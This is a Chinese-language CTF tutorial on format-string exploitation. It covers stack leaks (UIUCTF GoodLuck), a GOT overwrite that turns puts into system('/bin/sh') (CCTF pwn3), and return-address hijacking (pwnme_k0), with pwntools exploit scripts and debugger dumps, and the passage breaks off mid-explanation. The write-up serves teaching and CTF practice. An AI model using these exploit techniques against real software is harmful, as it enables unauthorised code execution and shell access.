格式化字符串漏洞举例

[TOC]

格式化字符串漏洞例子

64位程序格式化字符串漏洞

原理

前六个整形或指针参数依次保存在RDI,RSI,RDX,RCX,R8,和R9寄存器中,如果还有更多的参数的话才会保存在栈上。

例子

这里用的是2017年的UIUCTF中的pwn200GoodLuck为例来介绍。

因为只有本地,所以在本地放了flag.txt文件

题目链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/2017-UIUCTF-pwn200-GoodLuck

首先checksec下:

hacker@ubuntu:~/Desktop/2017-UIUCTF-pwn200-GoodLuck$ checksec goodluck
[*] '/home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开了NX和部分RELRO。

漏洞很显然,就在printf那里。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+3h] [rbp-3Dh]
  signed int i; // [rsp+4h] [rbp-3Ch]
  signed int j; // [rsp+4h] [rbp-3Ch]
  char *format; // [rsp+8h] [rbp-38h]
  _IO_FILE *fp; // [rsp+10h] [rbp-30h]
  char *v9; // [rsp+18h] [rbp-28h]
  char v10[24]; // [rsp+20h] [rbp-20h]
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  fp = fopen("flag.txt", "r");
  for ( i = 0; i <= 21; ++i )
    v10[i] = _IO_getc(fp);
  fclose(fp);
  v9 = v10;
  puts("what's the flag");
  fflush(_bss_start);
  format = 0LL;
  __isoc99_scanf("%ms", &format);
  for ( j = 0; j <= 21; ++j )
  {
    v4 = format[j];
    if ( !v4 || v10[j] != v4 )
    {
      puts("You answered:");
      printf(format);
      puts("\nBut that was totally wrong lol get rekt");
      fflush(_bss_start);
      return 0;
    }
  }
  printf("That's right, the flag is %s\n", v9);
  fflush(_bss_start);
  return 0;
}
gdb-peda$ b printf 
Breakpoint 1 at 0x400640
gdb-peda$ r
Starting program: /home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck 
/bin/bash: /home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck: Permission denied
/bin/bash: line 0: exec: /home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck: cannot execute: Permission denied
During startup program exited with code 126.
gdb-peda$ r
Starting program: /home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck 
what's the flag
12345678
You answered:

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af2224 (<__GI___libc_write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x602490 ("You answered:\ng\n111111}\n")
RDI: 0x602cb0 ("12345678")
RBP: 0x7fffffffdf40 --> 0x400900 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdef8 --> 0x400890 (<main+234>:	mov    edi,0x4009b8)
RIP: 0x7ffff7a46f70 (<__printf>:	sub    rsp,0xd8)
R8 : 0x7ffff7fdc500 (0x00007ffff7fdc500)
R9 : 0x7ffff7b50a60 (<__memcpy_ssse3+9168>:	mov    rcx,QWORD PTR [rsi-0xd])
R10: 0x3 
R11: 0x7ffff7a46f70 (<__printf>:	sub    rsp,0xd8)
R12: 0x4006b0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe020 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7a46f5c <__fprintf+172>:	call   0x7ffff7b16b10 <__stack_chk_fail>
   0x7ffff7a46f61:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7ffff7a46f6b:	nop    DWORD PTR [rax+rax*1+0x0]
=> 0x7ffff7a46f70 <__printf>:	sub    rsp,0xd8
   0x7ffff7a46f77 <__printf+7>:	test   al,al
   0x7ffff7a46f79 <__printf+9>:	mov    QWORD PTR [rsp+0x28],rsi
   0x7ffff7a46f7e <__printf+14>:	mov    QWORD PTR [rsp+0x30],rdx
   0x7ffff7a46f83 <__printf+19>:	mov    QWORD PTR [rsp+0x38],rcx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdef8 --> 0x400890 (<main+234>:	mov    edi,0x4009b8)
0008| 0x7fffffffdf00 --> 0x31000001 
0016| 0x7fffffffdf08 --> 0x602cb0 ("12345678")
0024| 0x7fffffffdf10 --> 0x602260 --> 0x0 
0032| 0x7fffffffdf18 --> 0x7fffffffdf20 ("flag{", '1' <repeats 17 times>)
0040| 0x7fffffffdf20 ("flag{", '1' <repeats 17 times>)
0048| 0x7fffffffdf28 ('1' <repeats 14 times>)
0056| 0x7fffffffdf30 --> 0x313131313131 ('111111')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __printf (format=0x602cb0 "12345678") at printf.c:28
28	printf.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7af2224 (write+20) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x7ffff7dcf8c0 (_IO_stdfile_1_lock) ◂— 0x0
 RDI  0x602cb0 ◂— '12345678'
 RSI  0x602490 ◂— 'You answered:\ng\n111111}\n'
 R8   0x7ffff7fdc500 ◂— 0x7ffff7fdc500
 R9   0x7ffff7b50a60 (__memcpy_ssse3+9168) ◂— mov    rcx, qword ptr [rsi - 0xd]
 R10  0x3
 R11  0x7ffff7a46f70 (printf) ◂— sub    rsp, 0xd8
 R12  0x4006b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe020 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdf40 —▸ 0x400900 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdef8 —▸ 0x400890 (main+234) ◂— mov    edi, 0x4009b8
 RIP  0x7ffff7a46f70 (printf) ◂— sub    rsp, 0xd8
───────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
  0x7ffff7a46f70 <printf>        sub    rsp, 0xd8
    
   0x7ffff7a46f79 <printf+9>      mov    qword ptr [rsp + 0x28], rsi
   0x7ffff7a46f7e <printf+14>     mov    qword ptr [rsp + 0x30], rdx
   0x7ffff7a46f83 <printf+19>     mov    qword ptr [rsp + 0x38], rcx
   0x7ffff7a46f88 <printf+24>     mov    qword ptr [rsp + 0x40], r8
   0x7ffff7a46f8d <printf+29>     mov    qword ptr [rsp + 0x48], r9
   0x7ffff7a46f92 <printf+34>     je     printf+91 <printf+91>
    
   0x7ffff7a46fcb <printf+91>     mov    rax, qword ptr fs:[0x28]
   0x7ffff7a46fd4 <printf+100>    mov    qword ptr [rsp + 0x18], rax
   0x7ffff7a46fd9 <printf+105>    xor    eax, eax
   0x7ffff7a46fdb <printf+107>    lea    rax, [rsp + 0xe0]
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000 rsp  0x7fffffffdef8 —▸ 0x400890 (main+234) ◂— mov    edi, 0x4009b8
01:0008      0x7fffffffdf00 ◂— 0x31000001
02:0010      0x7fffffffdf08 —▸ 0x602cb0 ◂— '12345678'
03:0018      0x7fffffffdf10 —▸ 0x602260 ◂— 0x0
04:0020      0x7fffffffdf18 —▸ 0x7fffffffdf20 ◂— 'flag{11111111111111111'
05:0028      0x7fffffffdf20 ◂— 'flag{11111111111111111'
06:0030      0x7fffffffdf28 ◂— '11111111111111'
07:0038      0x7fffffffdf30 ◂— 0x313131313131 /* '111111' */
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
  f 0     7ffff7a46f70 printf
   f 1           400890 main+234
   f 2     7ffff7a03bf7 __libc_start_main+231
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

可以看到flag在栈上偏移为4, x64 前 6 个参数存在寄存器上面,而第一个参数又是格式化字符串

所以是第9个参数,payload :%9$s

Exp:

from pwn import *
##context.log_level = 'debug'
goodluck = ELF('./goodluck')

sh = process('./goodluck')

payload = "%9$s"

print payload
##gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
hacker@ubuntu:~/Desktop/2017-UIUCTF-pwn200-GoodLuck$ python exp.py 
[*] '/home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './goodluck': pid 15774
%9$s
[*] Process './goodluck' stopped with exit code 0 (pid 15774)
what's the flag
You answered:
flag{111111111111111}

But that was totally wrong lol get rekt

hijack GOT

原理

目前的 ELF 编译系统使用一种成为延迟绑定( lazy binding )的技术来实现对共享库中函数的调用过程。该机制主要通过两个数据结构 GOT 和 过程链接表( Procedure Linkage Table , PLT )实现。其简化的原理为 : 当目标模块存在一个外部共享库的函数调用时,其在汇编层面使用 call 指令实现调用,其作用为跳转至对应函数的 PLT 表项处执行,该表项的第一条指令为 jmp *[ 对应 GOT 项的地址 ],第一次执行函数调用时,通过 GOT 与 PLT 的合作,会将最终调用函数的地址确定下来,并存放在其对应的 GOT 表项中。当后续再发生调用时, jmp *[ 对应 GOT 项的地址 ] 指令即表示直接跳转至目标函数处执行。

在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。此外,在没有开启 RELRO 保护时,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。

假设我们需要将函数A的地址覆盖为函数B的地址,那么步骤如下:

  1. 确定函数A的GOT表地址

  2. 确定函数B的地址

    在这一步,需要我们自己想办法来泄露对应函数 B 的地址。

  3. 将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。

    这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种

    • 使用write函数
    pop eax; ret;           # printf@got -> eax
    pop ebx; ret;           # (addr_offset = system_addr - printf_addr) -> ebx
    add [eax] ebx; ret;     # [printf@got] = [printf@got] + addr_offset
    • 格式化字符串任意地址写

例子

使用的是2016 CCTF中的pwn3

首先查看保护

hacker@ubuntu:~/Desktop/2016-CCTF-pwn3$ checksec pwn3
[*] '/home/hacker/Desktop/2016-CCTF-pwn3/pwn3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开了NX。

main():

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char s1; // [esp+14h] [ebp-2Ch]
  int v5; // [esp+3Ch] [ebp-4h]

  setbuf(stdout, 0);
  ask_username(&s1);
  ask_password(&s1);
  while ( 1 )
  {
    while ( 1 )
    {
      print_prompt();
      v3 = get_command();
      v5 = v3;
      if ( v3 != 2 )
        break;
      put_file();
    }
    if ( v3 == 3 )
    {
      show_dir();
    }
    else
    {
      if ( v3 != 1 )
        exit(1);
      get_file();
    }
  }
}

ask_username():

char *__cdecl ask_username(char *dest)
{
  char src[40]; // [esp+14h] [ebp-34h]
  int i; // [esp+3Ch] [ebp-Ch]

  puts("Connected to ftp.hacker.server");
  puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
  printf("Name (ftp.hacker.server:Rainism):");
  __isoc99_scanf("%40s", src);
  for ( i = 0; i <= 39 && src[i]; ++i )
    ++src[i];
  return strcpy(dest, src);
}

对输入的每一位进行了+1的操作。

ask_password()

int __cdecl ask_password(char *s1)
{
  if ( strcmp(s1, "sysbdmin") )
  {
    puts("who you are?");
    exit(1);
  }
  return puts("welcome!");
}

操作之后的需要与sysbdmin相同。

get_command()

signed int get_command()
{
  char s1; // [esp+1Ch] [ebp-Ch]

  __isoc99_scanf("%3s", &s1);
  if ( !strncmp(&s1, "get", 3u) )
    return 1;
  if ( !strncmp(&s1, "put", 3u) )
    return 2;
  if ( !strncmp(&s1, "dir", 3u) )
    return 3;
  return 4;
}

put_file():

_DWORD *put_file()
{
  _DWORD *v0; // ST1C_4
  _DWORD *result; // eax

  v0 = malloc(0xF4u);//244
  printf("please enter the name of the file you want to upload:");
  get_input(v0, 40, 1);
  printf("then, enter the content:");
  get_input(v0 + 10, 200, 1);
  v0[60] = file_head;
  result = v0;
  file_head = (int)v0;
  return result;
}

malloc后调用两次get_input()函数,并在最后的 4 个字节内写入上一块调用 put_file 时获得的地址,然后更新头指针 file_head 并返回本次分配的空间的起始地址。

也就是说,每次调用put_file(),分配244字节大小的空间,前40字节保存文件名,后200保存文件内容,最后四个字节保存上一块内存的地址,file_head是bss段上的变量,所以值为0,这样就在栈上得到一条链。

get_input()

signed int __cdecl get_input(int a1, int a2, int a3)
{
  signed int result; // eax
  _BYTE *v4; // [esp+18h] [ebp-10h]
  int v5; // [esp+1Ch] [ebp-Ch]
  v5 = 0;
  while ( 1 )
  {
    v4 = (_BYTE *)(v5 + a1);
    result = fread((void *)(v5 + a1), 1u, 1u, stdin);
    if ( result <= 0 )
      break;
    if ( *v4 == 10 && a3 )
    {
      if ( v5 )
      {
        result = v5 + a1;
        *v4 = 0;
        return result;
      }
    }
    else
    {
      result = ++v5;
      if ( v5 >= a2 )
        return result;
    }
  }
  return result;
}

函数在遇到回车符号或达到最大输入量(第二个参数)前,会一直向第一个参数指定的缓冲区中写入输入的内容.

show_dir():函数遍历前面利用 put_file 得到的链栈,并依次将它们的名字复制到大小为 1024 个字节的缓冲区中,然后输出缓冲区的内容

int show_dir()
{
  int v0; // eax
  char s[1024]; // [esp+14h] [ebp-414h]
  int i; // [esp+414h] [ebp-14h]
  int j; // [esp+418h] [ebp-10h]
  int v5; // [esp+41Ch] [ebp-Ch]

  v5 = 0;
  j = 0;
  bzero(s, 0x400u);
  for ( i = file_head; i; i = *(_DWORD *)(i + 240) )
  {
    for ( j = 0; *(_BYTE *)(i + j); ++j )
    {
      v0 = v5++;
      s[v0] = *(_BYTE *)(i + j);
    }
  }
  return puts(s);
}

get_file():存在漏洞的函数。

int get_file()
{
  char dest; // [esp+1Ch] [ebp-FCh]
  char s1; // [esp+E4h] [ebp-34h]
  char *i; // [esp+10Ch] [ebp-Ch]

  printf("enter the file name you want to get:");
  __isoc99_scanf("%40s", &s1);
  if ( !strncmp(&s1, "flag", 4u) )
    puts("too young, too simple");
  for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
  {
    if ( !strcmp(i, &s1) )
    {
      strcpy(&dest, i + 40);
      return printf(&dest);
    }
  }
  return printf(&dest);
}

根据用户输入的文件名到链栈中去寻找,如果有同名的文件那么输出内容,但是因为最后将文件的内容直接 printf 出来,所以存在 格式化字符串漏洞

将文件内容put到文件中后,调用get_file将文件内容读取出来,存在格式化字符串漏洞,可以达到信息泄露和任意地址写。

  1. 利用格式化字符串的任意写,将show_dir()函数调用的put函数在got.plt表中的地址改为system的地址
  2. 将show_dir()所显示的文件名内容设成/bin/sh

完成上面两步后,就可以在运行show_dir()时将puts("/bin/sh")变为system(""/bin/sh")

第二步比较简单,主要是第一步。

不知道system函数的地址,因为我们不知道动态链接后libc的基址,这首先需要将这个信息泄露

我们先在printf的地址下断点

.text:08048895 loc_8048895:                            ; CODE XREF: get_file+8B↑j
.text:08048895                 lea     eax, [ebp+dest]
.text:0804889B                 mov     [esp], eax      ; format
.text:0804889E                 call    _printf
.text:080488A3                 leave
.text:080488A4                 retn
.text:080488A4 get_file        endp
pwndbg> r
Starting program: /home/yutao/ctf-challenges/pwn/fmtstr/2016-CCTF-pwn3/pwn3 
Connected to ftp.hacker.server
220 Serv-U FTP Server v6.4 for WinSock ready...
Name (ftp.hacker.server:Rainism):rxraclhm
welcome!
ftp>put 
please enter the name of the file you want to upload:namename
then, enter the content:qwerqwer
ftp>get
enter the file name you want to get:namename

Breakpoint 1, 0x0804889e in get_file ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 EAX  0xffffcedc ◂— 'qwerqwer'
 EBX  0x0
 ECX  0x804b598 ◂— 'qwerqwer'
 EDX  0xffffcedc ◂— 'qwerqwer'
 EDI  0x0
 ESI  0xf7fb6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
 EBP  0xffffcfd8 —▸ 0xffffd028 ◂— 0x0
 ESP  0xffffcec0 —▸ 0xffffcedc ◂— 'qwerqwer'
 EIP  0x804889e (get_file+168) —▸ 0xfffc1de8 ◂— 0xfffc1de8
───────────────────────────────────[ DISASM ]───────────────────────────────────
  0x804889e <get_file+168>      call   printf@plt <printf@plt>
        format: 0xffffcedc ◂— 'qwerqwer'
        vararg: 0x804b598 ◂— 'qwerqwer'
 
   0x80488a3 <get_file+173>      leave  
   0x80488a4 <get_file+174>      ret    
 
   0x80488a5 <get_command>       push   ebp
   0x80488a6 <get_command+1>     mov    ebp, esp
   0x80488a8 <get_command+3>     sub    esp, 0x28
   0x80488ab <get_command+6>     lea    eax, [ebp - 0xc]
   0x80488ae <get_command+9>     mov    dword ptr [esp + 4], eax
   0x80488b2 <get_command+13>    mov    dword ptr [esp], 0x8048bc5
   0x80488b9 <get_command+20>    call   __isoc99_scanf@plt <__isoc99_scanf@plt>
 
   0x80488be <get_command+25>    mov    dword ptr [esp + 8], 3
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000 esp      0xffffcec0 —▸ 0xffffcedc ◂— 'qwerqwer'
01:0004          0xffffcec4 —▸ 0x804b598 ◂— 'qwerqwer'
02:0008          0xffffcec8 ◂— 0x4
03:000c          0xffffcecc —▸ 0xf7de8f88 ◂— movsd  dword ptr es:[edi], dword ptr [esi]
04:0010          0xffffced0 ◂— 0xfbad2887
05:0014          0xffffced4 ◂— 0x7d4
06:0018          0xffffced8 —▸ 0xf7fb4220 (_IO_helper_jumps) ◂— 0x0
07:001c eax edx  0xffffcedc ◂— 'qwerqwer'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
  f 0  804889e get_file+168
   f 1  80486c9 main+92
   f 2 f7df6f21 __libc_start_main+241
────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 24
00:0000 esp      0xffffcec0 —▸ 0xffffcedc ◂— 'qwerqwer'
01:0004          0xffffcec4 —▸ 0x804b598 ◂— 'qwerqwer'
02:0008          0xffffcec8 ◂— 0x4
03:000c          0xffffcecc —▸ 0xf7de8f88 ◂— movsd  dword ptr es:[edi], dword ptr [esi]
04:0010          0xffffced0 ◂— 0xfbad2887
05:0014          0xffffced4 ◂— 0x7d4
06:0018          0xffffced8 —▸ 0xf7fb4220 (_IO_helper_jumps) ◂— 0x0
07:001c eax edx  0xffffcedc ◂— 'qwerqwer'
... 
09:0024          0xffffcee4 —▸ 0x8048c00 ◂— push   ebx /* 'Serv-U FTP Server v6.4 for WinSock ready...' */
0a:0028          0xffffcee8 —▸ 0xf7e511db (_IO_file_underflow+11) ◂— add    edi, 0x164e25
0b:002c          0xffffceec —▸ 0xf7fb49f4 ◂— 0x0
0c:0030          0xffffcef0 —▸ 0xf7fb65c0 (_IO_2_1_stdin_) ◂— 0xfbad2288
0d:0034          0xffffcef4 ◂— 0x1
0e:0038          0xffffcef8 —▸ 0x804b598 ◂— 'qwerqwer'
0f:003c          0xffffcefc —▸ 0xf7e5034f (__GI__IO_file_xsgetn+575) ◂— add    esp, 0x10
10:0040          0xffffcf00 —▸ 0x804b5a0 ◂— 0x0
11:0044          0xffffcf04 —▸ 0x804b168 ◂— 0xa /* '\n' */
12:0048          0xffffcf08 ◂— 0x1
13:004c          0xffffcf0c —▸ 0xf7ffd940 ◂— 0x0
14:0050          0xffffcf10 —▸ 0xffffcf44 —▸ 0x804b5a0 ◂— 0x0
15:0054          0xffffcf14 —▸ 0xf7fb6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
16:0058          0xffffcf18 —▸ 0xf7fb4220 (_IO_helper_jumps) ◂— 0x0
17:005c          0xffffcf1c —▸ 0xf7fb49f4 ◂— 0x0
pwndbg>

可以看出字符串偏移为7,接下来得到puts@got地址:

payload = '%8$s' + p32(puts_got)
or
payload = p32(puts_got) + '%7$s'

接下来接收puts函数的真实地址:

payload = p32(puts_got) + '%7$s'

由于我们使用的是本地的libc,所以挂载本地的libc就行了。查看一下程序在运行时使用的libc文件:

yutao@pwnbaby:~/ctf-challenges/pwn/fmtstr/2016-CCTF-pwn3$ ldd pwn3
	linux-gate.so.1 (0xf7f10000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d19000)
	/lib/ld-linux.so.2 (0xf7f11000)

从上图可以看到真正用到的是”/lib/i386-linux-gnu/libc.so.6“这个库,所以把这个库载入进来就可以了:‘

libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc.address = puts_addr - libc.symbols['puts']
sys_addr = libc.symbols['system']

接下来就是覆盖puts函数了,首先介绍下pwntools中的fmtstr_payload函数

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

那么这道题中payload这样写:

payload = fmtstr_payload(7, {puts_got: sys_addr})

EXP:

## -*- coding: UTF-8 -*-
from pwn import *
context.log_level = 'debug'

sh = process('./pwn3')
pwn3 = ELF('./pwn3')
sh.recvuntil('Name (ftp.hacker.server:Rainism):')

tmp = 'sysbdmin'
name = ""
for i in tmp:
    name += chr(ord(i) - 1)
##登录密码:rxraclhm
sh.sendline(name)
##通过puts函数把部署好的泄露任意地址的payload写进去
puts_got = pwn3.got['puts']
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline('Cyberangel')
sh.recvuntil('then, enter the content:')
payload='%8$s' + p32(puts_got)
sh.sendline(payload)
##通过get泄露puts函数地址
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline('Cyberangel')
puts_addr = u32(sh.recv()[:4])
##从库中找到system函数地址
libc = ELF ('/lib/i386-linux-gnu/libc.so.6')
libc.address = puts_addr - libc.symbols['puts']
sys_addr=libc.symbols['system']
##将第七个参数的puts函数地址改成system函数地址
payload = fmtstr_payload(7, {puts_got: sys_addr})
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
##在运行show_dir时将puts(”/bin/sh;“)变成system("/bin/sh;"),并成功获取shell
sh.sendline('/bin/sh;')
sh.recvuntil('then, enter the content:')
sh.sendline(payload)
##通过get打印‘/bin/sh;’文件,执行system('/bin/sh;')
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline('/bin/sh;')
##通过dir来拿到shell
sh.sendline('dir')
sh.interactive()

最后总结下思路

  1. 绕过密码
  2. 确定格式化字符串参数偏移
  3. 利用 put@got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址。
  4. 修改 puts@got 的内容为 system 的地址。
  5. 当程序再次执行 puts 函数的时候,其实执行的是 system 函数。

hijack retaddr

原理

利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。

例子

这里用的是三个白帽-pwnme_k0为例 https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/三个白帽-pwnme_k0

checksek一下:

hacker@ubuntu:~/Desktop/ctf-challenges/pwn/fmtstr/三个白帽-pwnme_k0$ checksec pwnme_k0
[*] '/home/hacker/Desktop/ctf-challenges/pwn/fmtstr/\xe4\xb8\x89\xe4\xb8\xaa\xe7\x99\xbd\xe5\xb8\xbd-pwnme_k0/pwnme_k0'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序的大致就是注册账户之类的,下面代码存在漏洞:

int __fastcall sub_400B07(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
  write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
  printf(&formata, "Welc0me to sangebaimao!\n");
  return printf((const char *)&a9 + 4);
}

看了字符串发现有可以直接利用的system(’/bin/sh’),所以只要用格式化字符串漏洞直接修改某个函数的返回地址为0x4008A6就可以了。

.text:00000000004008A6 sub_4008A6      proc near
.text:00000000004008A6 ; __unwind {
.text:00000000004008A6                 push    rbp
.text:00000000004008A7                 mov     rbp, rsp
.text:00000000004008AA                 mov     edi, offset command ; "/bin/sh"
.text:00000000004008AF                 call    system
.text:00000000004008B4                 pop     rdi
.text:00000000004008B5                 pop     rsi
.text:00000000004008B6                 pop     rdx
.text:00000000004008B7                 retn

在000400B39处下断点,,输入后s跟进printf,跟进去的话栈上第一个肯定就是返回地址,所以返回地址后跟着的句式参数7(offset 6)。

─────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x0
 RDX  0x0
 RDI  0x7fffffffdd44 ◂— '%p%p%p%p%p%p%p%p\n'
 RSI  0x603260 ◂— 'qwertyui\nngebaimao:(\ntion!\nth:20): \n**********\n'
 R8   0x0
 R9   0x7ffff7b502d0 (__memcpy_ssse3+7232) ◂— mov    rcx, qword ptr [rsi - 9]
 R10  0x7ffff7b80c40 (_nl_C_LC_CTYPE_class+256) ◂— add    al, byte ptr [rax]
 R11  0x246
 R12  0x4007b0 ◂— xor    ebp, ebp
 R13  0x7fffffffdef0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdd20 —▸ 0x7fffffffdd60 —▸ 0x7fffffffde10 —▸ 0x400eb0 ◂— push   r15
*RSP  0x7fffffffdd18 —▸ 0x400b3e ◂— nop    
*RIP  0x7ffff7a46f70 (printf) ◂— sub    rsp, 0xd8
────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────
 ► 0x7ffff7a46f70 <printf>        sub    rsp, 0xd8
    ↓
   0x7ffff7a46f79 <printf+9>      mov    qword ptr [rsp + 0x28], rsi
   0x7ffff7a46f7e <printf+14>     mov    qword ptr [rsp + 0x30], rdx
   0x7ffff7a46f83 <printf+19>     mov    qword ptr [rsp + 0x38], rcx
   0x7ffff7a46f88 <printf+24>     mov    qword ptr [rsp + 0x40], r8
   0x7ffff7a46f8d <printf+29>     mov    qword ptr [rsp + 0x48], r9
   0x7ffff7a46f92 <printf+34>     je     printf+91 <printf+91>
    ↓
   0x7ffff7a46fcb <printf+91>     mov    rax, qword ptr fs:[0x28]
   0x7ffff7a46fd4 <printf+100>    mov    qword ptr [rsp + 0x18], rax
   0x7ffff7a46fd9 <printf+105>    xor    eax, eax
   0x7ffff7a46fdb <printf+107>    lea    rax, [rsp + 0xe0]
─────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp    0x7fffffffdd18 —▸ 0x400b3e ◂— nop    
01:0008│ rbp    0x7fffffffdd20 —▸ 0x7fffffffdd60 —▸ 0x7fffffffde10 —▸ 0x400eb0 ◂— push   r15
02:0010│        0x7fffffffdd28 —▸ 0x400d74 ◂— add    rsp, 0x30
03:0018│        0x7fffffffdd30 ◂— 'qwertyui\n'
04:0020│        0x7fffffffdd38 ◂— 0xa /* '\n' */
05:0028│ rdi-4  0x7fffffffdd40 ◂— 0x7025702500000000
06:0030│        0x7fffffffdd48 ◂— '%p%p%p%p%p%p\n'
07:0038│        0x7fffffffdd50 ◂— 0xa70257025 /* '%p%p\n' */
───────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
 ► f 0     7ffff7a46f70 printf
   f 1           400b3e
   f 2           400d74
   f 3           400e98
   f 4     7ffff7a03bf7 __libc_start_main+231
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

虽然存储返回地址的内存本身是动态变化的,但是其相对于rbp的地址并不会改变,所以我们可以使用相对地址来计算。

─────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp    0x7fffffffdd18 —▸ 0x400b3e ◂— nop    (返回地址)
01:0008│ rbp    0x7fffffffdd20 —▸ 0x7fffffffdd60 offset 6(因为格式化串是参数1,前6个参数存在寄存器里,所以这里是参数7,相对格式化串就是偏移6)
02:0010│        0x7fffffffdd28 —▸ 0x400d74 ◂— add    rsp, 0x30
03:0018│        0x7fffffffdd30 ◂— 'aaaaaaaa\n'
04:0020│        0x7fffffffdd38 ◂— 0xa /* '\n' */
05:0028│ rdi-4  0x7fffffffdd40 ◂— 0x7025702500000000
06:0030│        0x7fffffffdd48 ◂— '%p%p%p%p%p%p\n'
07:0038│        0x7fffffffdd50 ◂— 0xa70257025 /* '%p%p\n' */
───────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
 ► f 0     7ffff7a46f70 printf
   f 1           400b3e
   f 2           400d74
   f 3           400e98
   f 4     7ffff7a03bf7 __libc_start_main+231

这里的返回地址是printf的返回地址,这时rbp还没有变化,还未进入printf,所以rbp指向的是原来rbp的地址(old rbp)。所以当前返回地址是rbp+8,即0x400d74。

在0x7fffffffdd28这里存着,它相对于old rbp的地址就是:0x7fffffffdd60 - 0x7fffffffdd28 = 0x38

